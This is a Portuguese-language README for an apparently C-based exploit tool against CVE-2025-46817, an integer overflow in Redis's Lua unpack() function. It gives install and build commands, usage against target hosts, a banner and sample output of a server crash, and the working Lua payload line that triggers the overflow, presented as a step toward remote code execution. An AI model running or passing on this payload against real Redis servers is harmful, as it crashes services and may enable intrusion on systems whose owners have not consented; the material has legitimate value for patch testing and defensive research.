
Exploit baseado em C para CVE-2025-46817, uma vulnerabilidade de estouro de inteiro no Redis, permitindo detecção de crash e potencial RCE via payload Lua unpack().
Uma implementação leve em C do exploit CVE-2025-46817 para a vulnerabilidade de estouro de inteiro no Redis.
sudo apt-get update
sudo apt-get install build-essential libhiredis-dev
sudo yum install gcc hiredis-devel
brew install hiredis
gcc -o exploit exploit.c -lhiredis
./exploit -H 127.0.0.1 -P 6379
./exploit -H 192.168.1.100 -P 6379 -t 5
-H <host> Host do servidor Redis (obrigatório)
-P <port> Porta do servidor Redis (obrigatório)
-t <timeout> Timeout de conexão em segundos (padrão: 10)
-h Mostrar mensagem de ajuda
██▓███ █ █░███▄ █ ▄▄▄▄ █ ██ █████▒ █████▒▓█████ ██▀███
▓██░ ██▒▓█░ █ ░█░██ ▀█ █ ▓█████▄ ██ ▓██▒▓██ ▒▓██ ▒ ▓█ ▀ ▓██ ▒ ██▒
▓██░ ██▓▒▒█░ █ ░█▓██ ▀█ ██▒▒██▒ ▄██▓██ ▒██░▒████ ░▒████ ░ ▒███ ▓██ ░▄█ ▒
▒██▄█▓▒ ▒░█░ █ ░█▓██▒ ▐▌██▒▒██░█▀ ▓▓█ ░██░░▓█▒ ░░▓█▒ ░ ▒▓█ ▄ ▒██▀▀█▄
▒██▒ ░ ░░░██▒██▓▒██░ ▓██░░▓█ ▀█▓▒▒█████▓ ░▒█░ ░▒█░ ░▒████▒░██▓ ▒██▒
▒▓▒░ ░ ░░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ░▒▓███▀▒░▒▓▒ ▒ ▒ ▒ ░ ▒ ░ ░░ ▒░ ░░ ▒▓ ░▒▓░
░▒ ░ ▒ ░ ░ ░ ░░ ░ ▒░▒░▒ ░ ░░▒░ ░ ░ ░ ░ ░ ░ ░ ░▒ ░ ▒░
░░ ░ ░ ░ ░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░
░
Ferramenta de Exploit CVE-2025-46817
Estouro de Inteiro -> Cadeia RCE
Acesso -> https://pwnbuffer.org/
Autor: Slayerkkk
Alvo: Redis <= 8.2.1
Tipo: Corrupção de Memória -> Execução de Código
ℹ️ Testando conexão com 127.0.0.1:6379...
✅ Conexão bem-sucedida
ℹ️ Versão do Redis: 8.2.1
❌ VULNERÁVEL - Versão <= 8.2.1
ℹ️ Testando script Lua...
✅ Lua habilitado (1+1=2)
🚀 INICIANDO EXPLORAÇÃO
==================================================
💀 Executando payload do exploit...
Payload: Estouro de inteiro via unpack()
💥 SERVIDOR FALHOU - Conexão perdida!
📊 RESULTADO DA EXPLORAÇÃO
==============================
💥 Status: falhou (2.34s)
💀 EXPLORAÇÃO BEM-SUCEDIDA - Servidor falhou!
Vulnerabilidade CVE-2025-46817 confirmada
O exploit visa um estouro de inteiro na implementação da função Lua unpack() do Redis (luaB_unpack). Quando chamada com parâmetros específicos, a aritmética de inteiros com sinal transborda, fazendo o Redis tentar materializar um número enorme de valores de retorno.
local data = {1, 2, 3}
return {unpack(data, -2147483648, 2147483647)}
A ferramenta relata um destes status:
Autor: Slayerkkk
Site: https://pwnbuffer.org